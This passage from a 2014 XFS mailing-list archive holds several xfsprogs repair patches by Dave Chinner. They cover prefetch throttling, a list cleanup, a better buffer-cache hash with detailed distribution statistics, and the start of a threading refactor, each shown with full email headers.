b/repair/prefetch.c index 5158863..7e11d1d 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -298,7 +298,8 @@ pf_scanfunc_bmap( /* * do some validation on the block contents */ - if ((be32_to_cpu(block->bb_magic) != XFS_BMAP_MAGIC) || + if ((block->bb_magic != cpu_to_be32(XFS_BMAP_MAGIC) && + block->bb_magic != cpu_to_be32(XFS_BMAP_CRC_MAGIC)) || (be16_to_cpu(block->bb_level) != level)) return 0; -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D2CAB7F5A for ; Mon, 24 Feb 2014 00:29:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9F8F88F8037 for ; Sun, 23 Feb 2014 22:29:40 -0800 (PST) X-ASG-Debug-ID: 1393223378-04bdf00fc9328de0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id fa6aVoUTWxpikGbz for ; Sun, 23 Feb 2014 22:29:38 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AksKAETmClN5LJYe/2dsb2JhbABZgwY7qHwDmUwXdIIlAQEFJy8zCBgxOQMbGYgExlaTIwSZZpB1g0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004ro-Um for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:32 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001Lc-Ts for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 07/10] repair: prefetch runs too far ahead Date: Mon, 24 Feb 2014 17:29:26 +1100 X-ASG-Orig-Subj: [PATCH 07/10] repair: prefetch runs too far ahead Message-Id: <1393223369-4696-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223378 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When trying to work out why a non-crc filesystem took 1m57 to repair and the same CRC enabled filesystem took 11m35 to repair, I noticed that the was way to much CRC checking going on. Prefetched buffers should not be being CRCed, yet shortly after the starting this began to happen. perf profiling also showed up an awful lot of time doing buffer cache lookups, and the cache profile output indicated that the hit rate was way below 3%. IOWs, the readahead was getting so far ahead of the processing that it was thrashing the cache. That there is a difference in processing rate between CRC and non-CRC filesystems is not surprising. What is surprising is the readahead behaviour - it basically just keeps reading ahead until it has read everything on an AG, and then it goes on to the next AG, and reads everything on it, and then goes on to the next AG,.... This goes on until it pushes all the buffers the processing threads need out of the cache, and suddening they start re-reading from disk with the various CRC checking verifiers enabled, and we end up going -really- slow. Yes, threading made up for it a bit, but it's just wrong. Basically, the code assumes that IO is going to be slower than processing, so it doesn't throttle prefetch across AGs to slow down prefetch to match the processing rate. So, to fix this, don't let a prefetch thread get more than a single AG ahead of it's processing thread, just like occurs for single threaded (i.e. -o ag_stride=-1) operation. Signed-off-by: Dave Chinner --- repair/prefetch.c | 81 ++++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 62 insertions(+), 19 deletions(-) diff --git a/repair/prefetch.c b/repair/prefetch.c index e573e35..7135d67 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -842,7 +842,7 @@ start_inode_prefetch( * and not any other associated metadata like directories */ - max_queue = libxfs_bcache->c_maxcount / thread_count / 8; + max_queue = libxfs_bcache->c_maxcount / thread_count / 32; if (XFS_INODE_CLUSTER_SIZE(mp) > mp->m_sb.sb_blocksize) max_queue = max_queue * (XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_blocklog) / XFS_IALLOC_BLOCKS(mp); @@ -865,6 +865,48 @@ start_inode_prefetch( return args; } +void +prefetch_ag_range( + struct work_queue *work, + xfs_agnumber_t start_ag, + xfs_agnumber_t end_ag, + bool dirs_only, + void (*func)(struct work_queue *, + xfs_agnumber_t, void *)) +{ + int i; + struct prefetch_args *pf_args[2]; + + pf_args[start_ag & 1] = start_inode_prefetch(start_ag, dirs_only, NULL); + for (i = start_ag; i < end_ag; i++) { + /* Don't prefetch end_ag */ + if (i + 1 < end_ag) + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, + dirs_only, pf_args[i & 1]); + func(work, i, pf_args[i & 1]); + } +} + +struct pf_work_args { + xfs_agnumber_t start_ag; + xfs_agnumber_t end_ag; + bool dirs_only; + void (*func)(struct work_queue *, xfs_agnumber_t, void *); +}; + +static void +prefetch_ag_range_work( + struct work_queue *work, + xfs_agnumber_t unused, + void *args) +{ + struct pf_work_args *wargs = args; + + prefetch_ag_range(work, wargs->start_ag, wargs->end_ag, + wargs->dirs_only, wargs->func); + free(args); +} + /* * Do inode prefetch in the most optimal way for the context under which repair * has been run. @@ -878,11 +920,9 @@ do_inode_prefetch( bool check_cache, bool dirs_only) { - int i, j; - xfs_agnumber_t agno; + int i; struct work_queue queue; struct work_queue *queues; - struct prefetch_args *pf_args[2]; /* * If the previous phases of repair have not overflowed the buffer @@ -905,12 +945,8 @@ do_inode_prefetch( */ if (!stride) { queue.mp = mp; - pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); - for (i = 0; i < mp->m_sb.sb_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, - dirs_only, pf_args[i & 1]); - func(&queue, i, pf_args[i & 1]); - } + prefetch_ag_range(&queue, 0, mp->m_sb.sb_agcount, + dirs_only, func); return; } @@ -918,20 +954,27 @@ do_inode_prefetch( * create one worker thread for each segment of the volume */ queues = malloc(thread_count * sizeof(work_queue_t)); - for (i = 0, agno = 0; i < thread_count; i++) { + for (i = 0; i < thread_count; i++) { + struct pf_work_args *wargs; + + wargs = malloc(sizeof(struct pf_work_args)); + wargs->start_ag = i * stride; + wargs->end_ag = min((i + 1) * stride, + mp->m_sb.sb_agcount); + wargs->dirs_only = dirs_only; + wargs->func = func; + create_work_queue(&queues[i], mp, 1); - pf_args[0] = NULL; - for (j = 0; j < stride && agno < mp->m_sb.sb_agcount; - j++, agno++) { - pf_args[0] = start_inode_prefetch(agno, dirs_only, - pf_args[0]); - queue_work(&queues[i], func, agno, pf_args[0]); - } + queue_work(&queues[i], prefetch_ag_range_work, 0, wargs); + + if (wargs->end_ag >= mp->m_sb.sb_agcount) + break; } + /* * wait for workers to complete */ - for (i = 0; i < thread_count; i++) + for (; i >= 0; i--) destroy_work_queue(&queues[i]); free(queues); } -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 364C87F59 for ; Mon, 24 Feb 2014 00:29:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 133AC304043 for ; Sun, 23 Feb 2014 22:29:37 -0800 (PST) X-ASG-Debug-ID: 1393223374-04cb6c06cf42b800002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id hG6uAekG0rlAQD9Q for ; Sun, 23 Feb 2014 22:29:36 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGAETmClN5LJYe/2dsb2JhbABZgwbDBhd0giUBAQUnLzMIGDE5AxsZiATGPxePAYQiBKpbg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004rn-UF for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001LX-TQ for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 06/10] repair: use a listhead for the dotdot list Date: Mon, 24 Feb 2014 17:29:25 +1100 X-ASG-Orig-Subj: [PATCH 06/10] repair: use a listhead for the dotdot list Message-Id: <1393223369-4696-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223376 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Cleanup suggested by Christoph Hellwig - removes another open coded list implementation. Signed-off-by: Dave Chinner --- repair/phase6.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/repair/phase6.c b/repair/phase6.c index 08f78d2..c8bfa09 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -43,13 +43,13 @@ static struct xfs_name xfs_name_dot = {(unsigned char *)".", * entries are updated. These must be rebuilt after the initial pass */ typedef struct dotdot_update { - struct dotdot_update *next; + struct list_head list; ino_tree_node_t *irec; xfs_agnumber_t agno; int ino_offset; } dotdot_update_t; -static dotdot_update_t *dotdot_update_list; +static LIST_HEAD(dotdot_update_list); static int dotdot_update; static void @@ -64,12 +64,12 @@ add_dotdot_update( do_error(_("malloc failed add_dotdot_update (%zu bytes)\n"), sizeof(dotdot_update_t)); - dir->next = dotdot_update_list; + INIT_LIST_HEAD(&dir->list); dir->irec = irec; dir->agno = agno; dir->ino_offset = ino_offset; - dotdot_update_list = dir; + list_add(&dir->list, &dotdot_update_list); } /* @@ -3021,9 +3021,10 @@ update_missing_dotdot_entries( * set dotdot_update flag so processing routines do not count links */ dotdot_update = 1; - while (dotdot_update_list) { - dir = dotdot_update_list; - dotdot_update_list = dir->next; + while (!list_empty(&dotdot_update_list)) { + dir = list_entry(dotdot_update_list.next, struct dotdot_update, + list); + list_del(&dir->list); process_dir_inode(mp, dir->agno, dir->irec, dir->ino_offset); free(dir); } -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C434F7F5A for ; Mon, 24 Feb 2014 00:29:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id ADDD9304032 for ; Sun, 23 Feb 2014 22:29:41 -0800 (PST) X-ASG-Debug-ID: 1393223374-04cb6c06cf42b800004-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id a7zkCwRVqQaaDZfM for ; Sun, 23 Feb 2014 22:29:39 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoIGAETmClN5LJYe/2dsb2JhbABZgwbDBhd0giUBAQUnLzMIGDE5AxsZiATGPxeTIwSqW4NBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004rk-Sc for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001LI-Re for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 03/10] libxfs: buffer cache hashing is suboptimal Date: Mon, 24 Feb 2014 17:29:22 +1100 X-ASG-Orig-Subj: [PATCH 03/10] libxfs: buffer cache hashing is suboptimal Message-Id: <1393223369-4696-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223378 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The hashkey calculation is very simplistic,and throws away an amount of entropy that should be folded into the hash. The result is sub-optimal distribution across the hash tables. For example, with a default 512 entry table, phase 2 results in this: Max supported entries = 4096 Max utilized entries = 3970 Active entries = 3970 Hash table size = 512 Hits = 0 Misses = 3970 Hit ratio = 0.00 Hash buckets with 0 entries 12 ( 0%) Hash buckets with 1 entries 3 ( 0%) Hash buckets with 2 entries 10 ( 0%) Hash buckets with 3 entries 2 ( 0%) Hash buckets with 4 entries 129 ( 12%) Hash buckets with 5 entries 20 ( 2%) Hash buckets with 6 entries 54 ( 8%) Hash buckets with 7 entries 22 ( 3%) Hash buckets with 8 entries 150 ( 30%) Hash buckets with 9 entries 14 ( 3%) Hash buckets with 10 entries 16 ( 4%) Hash buckets with 11 entries 7 ( 1%) Hash buckets with 12 entries 38 ( 11%) Hash buckets with 13 entries 5 ( 1%) Hash buckets with 14 entries 4 ( 1%) Hash buckets with 17 entries 1 ( 0%) Hash buckets with 19 entries 1 ( 0%) Hash buckets with 23 entries 1 ( 0%) Hash buckets with >24 entries 23 ( 16%) Now, given a perfect distribution, we shoul dhave 8 entries per chain. What we end up with is nothing like that. Unfortunately, for phase 3/4 and others, the number of cached objects results in the cache being expanded to 256k entries, and so the stats just give this; Hits = 262276 Misses = 8130393 Hit ratio = 3.13 Hash buckets with >24 entries 512 (100%) We can't evaluate the efficiency of the hashing algorithm here. Let's increase the size of the hash table to 32768 entries and go from there: Phase 2: Hash buckets with 0 entries 31884 ( 0%) Hash buckets with 1 entries 35 ( 0%) Hash buckets with 2 entries 78 ( 3%) Hash buckets with 3 entries 30 ( 2%) Hash buckets with 4 entries 649 ( 65%) Hash buckets with 5 entries 12 ( 1%) Hash buckets with 6 entries 13 ( 1%) Hash buckets with 8 entries 40 ( 8%) Hash buckets with 9 entries 1 ( 0%) Hash buckets with 13 entries 1 ( 0%) Hash buckets with 15 entries 1 ( 0%) Hash buckets with 22 entries 1 ( 0%) Hash buckets with 24 entries 17 ( 10%) Hash buckets with >24 entries 6 ( 4%) There's a significant number of collisions given the population is only 15% of the size of the table itself.... Phase 3: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262090 Hash table size = 32768 Hits = 530844 Misses = 7164575 Hit ratio = 6.90 Hash buckets with 0 entries 11898 ( 0%) .... Hash buckets with 12 entries 5513 ( 25%) Hash buckets with 13 entries 4188 ( 20%) Hash buckets with 14 entries 2073 ( 11%) Hash buckets with 15 entries 1811 ( 10%) Hash buckets with 16 entries 1994 ( 12%) .... Hash buckets with >24 entries 339 ( 4%) So, a third of the hash table does not even has any entries in them, despite having more than 7.5 million entries run through the cache. Median chain lengths are 12-16 entries, ideal is 8. And lots of collisions on the longer than 24 entrie chains... Phase 6: Hash buckets with 0 entries 14573 ( 0%) .... Hash buckets with >24 entries 2291 ( 36%) Ouch. Not a good distribution at all. Overall runtime: Phase Start End Duration Phase 1: 12/06 11:35:04 12/06 11:35:04 Phase 2: 12/06 11:35:04 12/06 11:35:07 3 seconds Phase 3: 12/06 11:35:07 12/06 11:38:27 3 minutes, 20 seconds Phase 4: 12/06 11:38:27 12/06 11:41:32 3 minutes, 5 seconds Phase 5: 12/06 11:41:32 12/06 11:41:32 Phase 6: 12/06 11:41:32 12/06 11:42:29 57 seconds Phase 7: 12/06 11:42:29 12/06 11:42:30 1 second Total run time: 7 minutes, 26 seconds Modify the hash to be something more workable - steal the linux kernel inode hash calculation and try that: phase 2: Max supported entries = 262144 Max utilized entries = 3970 Active entries = 3970 Hash table size = 32768 Hits = 0 Misses = 3972 Hit ratio = 0.00 Hash buckets with 0 entries 29055 ( 0%) Hash buckets with 1 entries 3464 ( 87%) Hash buckets with 2 entries 241 ( 12%) Hash buckets with 3 entries 8 ( 0%) Close to perfect. Phase 3: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262118 Hash table size = 32768 Hits = 567900 Misses = 7118749 Hit ratio = 7.39 Hash buckets with 5 entries 1572 ( 2%) Hash buckets with 6 entries 2186 ( 5%) Hash buckets with 7 entries 9217 ( 24%) Hash buckets with 8 entries 8757 ( 26%) Hash buckets with 9 entries 6135 ( 21%) Hash buckets with 10 entries 3166 ( 12%) Hash buckets with 11 entries 1257 ( 5%) Hash buckets with 12 entries 364 ( 1%) Hash buckets with 13 entries 94 ( 0%) Hash buckets with 14 entries 14 ( 0%) Hash buckets with 15 entries 5 ( 0%) A near-perfect bell curve centered on the optimal distribution number of 8 entries per chain. Phase 6: Hash buckets with 0 entries 24 ( 0%) Hash buckets with 1 entries 190 ( 0%) Hash buckets with 2 entries 571 ( 0%) Hash buckets with 3 entries 1263 ( 1%) Hash buckets with 4 entries 2465 ( 3%) Hash buckets with 5 entries 3399 ( 6%) Hash buckets with 6 entries 4002 ( 9%) Hash buckets with 7 entries 4186 ( 11%) Hash buckets with 8 entries 3773 ( 11%) Hash buckets with 9 entries 3240 ( 11%) Hash buckets with 10 entries 2523 ( 9%) Hash buckets with 11 entries 2074 ( 8%) Hash buckets with 12 entries 1582 ( 7%) Hash buckets with 13 entries 1206 ( 5%) Hash buckets with 14 entries 863 ( 4%) Hash buckets with 15 entries 601 ( 3%) Hash buckets with 16 entries 386 ( 2%) Hash buckets with 17 entries 205 ( 1%) Hash buckets with 18 entries 122 ( 0%) Hash buckets with 19 entries 48 ( 0%) Hash buckets with 20 entries 24 ( 0%) Hash buckets with 21 entries 13 ( 0%) Hash buckets with 22 entries 8 ( 0%) A much wider bell curve than phase 3, but still centered around the optimal value and far, far better than the distribution of the current hash calculation. Runtime: Phase Start End Duration Phase 1: 12/06 11:47:21 12/06 11:47:21 Phase 2: 12/06 11:47:21 12/06 11:47:23 2 seconds Phase 3: 12/06 11:47:23 12/06 11:50:50 3 minutes, 27 seconds Phase 4: 12/06 11:50:50 12/06 11:53:57 3 minutes, 7 seconds Phase 5: 12/06 11:53:57 12/06 11:53:58 1 second Phase 6: 12/06 11:53:58 12/06 11:54:51 53 seconds Phase 7: 12/06 11:54:51 12/06 11:54:52 1 second Total run time: 7 minutes, 31 seconds Essentially unchanged - this is somewhat of a "swings and roundabouts" test here because what it is testing is the cache-miss overhead. FWIW, the comparison here shows a pretty good case for the existing hash calculation. On a less populated filesystem (5m inodes rather than 50m inodes) the typical hash distribution was: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262094 Hash table size = 32768 Hits = 626228 Misses = 800166 Hit ratio = 43.90 Hash buckets with 0 entries 29274 ( 0%) Hash buckets with 3 entries 1 ( 0%) Hash buckets with 4 entries 1 ( 0%) Hash buckets with 7 entries 1 ( 0%) Hash buckets with 8 entries 1 ( 0%) Hash buckets with 9 entries 1 ( 0%) Hash buckets with 12 entries 1 ( 0%) Hash buckets with 13 entries 1 ( 0%) Hash buckets with 16 entries 2 ( 0%) Hash buckets with 18 entries 1 ( 0%) Hash buckets with 22 entries 1 ( 0%) Hash buckets with >24 entries 3483 ( 99%) Total and utter crap. Same filesystem, new hash function: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262103 Hash table size = 32768 Hits = 673208 Misses = 838265 Hit ratio = 44.54 Hash buckets with 3 entries 558 ( 0%) Hash buckets with 4 entries 1126 ( 1%) Hash buckets with 5 entries 2440 ( 4%) Hash buckets with 6 entries 4249 ( 9%) Hash buckets with 7 entries 5280 ( 14%) Hash buckets with 8 entries 5598 ( 17%) Hash buckets with 9 entries 5446 ( 18%) Hash buckets with 10 entries 3879 ( 14%) Hash buckets with 11 entries 2405 ( 10%) Hash buckets with 12 entries 1187 ( 5%) Hash buckets with 13 entries 447 ( 2%) Hash buckets with 14 entries 125 ( 0%) Hash buckets with 15 entries 25 ( 0%) Hash buckets with 16 entries 3 ( 0%) Kinda says it all, really... Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Brian Foster --- include/cache.h | 4 +++- libxfs/cache.c | 7 +++++-- libxfs/rdwr.c | 12 ++++++++++-- 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/include/cache.h b/include/cache.h index 76cb234..0a84c69 100644 --- a/include/cache.h +++ b/include/cache.h @@ -66,7 +66,8 @@ typedef void (*cache_walk_t)(struct cache_node *); typedef struct cache_node * (*cache_node_alloc_t)(cache_key_t); typedef void (*cache_node_flush_t)(struct cache_node *); typedef void (*cache_node_relse_t)(struct cache_node *); -typedef unsigned int (*cache_node_hash_t)(cache_key_t, unsigned int); +typedef unsigned int (*cache_node_hash_t)(cache_key_t, unsigned int, + unsigned int); typedef int (*cache_node_compare_t)(struct cache_node *, cache_key_t); typedef unsigned int (*cache_bulk_relse_t)(struct cache *, struct list_head *); @@ -112,6 +113,7 @@ struct cache { cache_node_compare_t compare; /* comparison routine */ cache_bulk_relse_t bulkrelse; /* bulk release routine */ unsigned int c_hashsize; /* hash bucket count */ + unsigned int c_hashshift; /* hash key shift */ struct cache_hash *c_hash; /* hash table buckets */ struct cache_mru c_mrus[CACHE_MAX_PRIORITY + 1]; unsigned long long c_misses; /* cache misses */ diff --git a/libxfs/cache.c b/libxfs/cache.c index 84d2860..dc69689 100644 --- a/libxfs/cache.c +++ b/libxfs/cache.c @@ -25,6 +25,7 @@ #include #include #include +#include #define CACHE_DEBUG 1 #undef CACHE_DEBUG @@ -61,6 +62,7 @@ cache_init( cache->c_misses = 0; cache->c_maxcount = maxcount; cache->c_hashsize = hashsize; + cache->c_hashshift = libxfs_highbit32(hashsize); cache->hash = cache_operations->hash; cache->alloc = cache_operations->alloc; cache->flush = cache_operations->flush; @@ -343,7 +345,7 @@ cache_node_get( int priority = 0; int purged = 0; - hashidx = cache->hash(key, cache->c_hashsize); + hashidx = cache->hash(key, cache->c_hashsize, cache->c_hashshift); hash = cache->c_hash + hashidx; head = &hash->ch_list; @@ -515,7 +517,8 @@ cache_node_purge( struct cache_hash * hash; int count = -1; - hash = cache->c_hash + cache->hash(key, cache->c_hashsize); + hash = cache->c_hash + cache->hash(key, cache->c_hashsize, + cache->c_hashshift); head = &hash->ch_list; pthread_mutex_lock(&hash->ch_mutex); for (pos = head->next, n = pos->next; pos != head; diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index d0ff15b..1b691fb 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -313,10 +313,18 @@ struct xfs_bufkey { int nmaps; }; +/* 2^63 + 2^61 - 2^57 + 2^54 - 2^51 - 2^18 + 1 */ +#define GOLDEN_RATIO_PRIME 0x9e37fffffffc0001UL +#define CACHE_LINE_SIZE 64 static unsigned int -libxfs_bhash(cache_key_t key, unsigned int hashsize) +libxfs_bhash(cache_key_t key, unsigned int hashsize, unsigned int hashshift) { - return (((unsigned int)((struct xfs_bufkey *)key)->blkno) >> 5) % hashsize; + uint64_t hashval = ((struct xfs_bufkey *)key)->blkno; + uint64_t tmp; + + tmp = hashval ^ (GOLDEN_RATIO_PRIME + hashval) / CACHE_LINE_SIZE; + tmp = tmp ^ ((tmp ^ GOLDEN_RATIO_PRIME) >> hashshift); + return tmp % hashsize; } static int -- 1.8.4.rc3 From dave@fromorbit.com Mon Feb 24 00:29:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1AD3D7F59 for ; Mon, 24 Feb 2014 00:29:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D9DDA8F8037 for ; Sun, 23 Feb 2014 22:29:41 -0800 (PST) X-ASG-Debug-ID: 1393223378-04bdf00fc9328de0002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id FQ7hXXgBmp01MW4v for ; Sun, 23 Feb 2014 22:29:39 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AksKAETmClN5LJYe/2dsb2JhbABZgwY7qHwDmUwXdIIlAQEFJy8zCBgxOQMbGYgExlaTIwSZZpB1g0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:59:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHp2h-0004rm-To for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHp2h-0001LS-Sq for xfs@oss.sgi.com; Mon, 24 Feb 2014 17:29:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 05/10] repair: factor out threading setup code Date: Mon, 24 Feb 2014 17:29:24 +1100 X-ASG-Orig-Subj: [PATCH 05/10] repair: factor out threading setup code Message-Id: <1393223369-4696-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393223369-4696-1-git-send-email-david@fromorbit.com> References: <1393223369-4696-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393223379 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The same code is repeated in different places to set up multithreaded prefetching. This can all be factored into a single implementation. Signed-off-by: Dave Chinner --- repair/dinode.h | 15 ++++++------ repair/phase3.c | 40 +++---------------------------- repair/phase4.c | 48 +++---------------------------------- 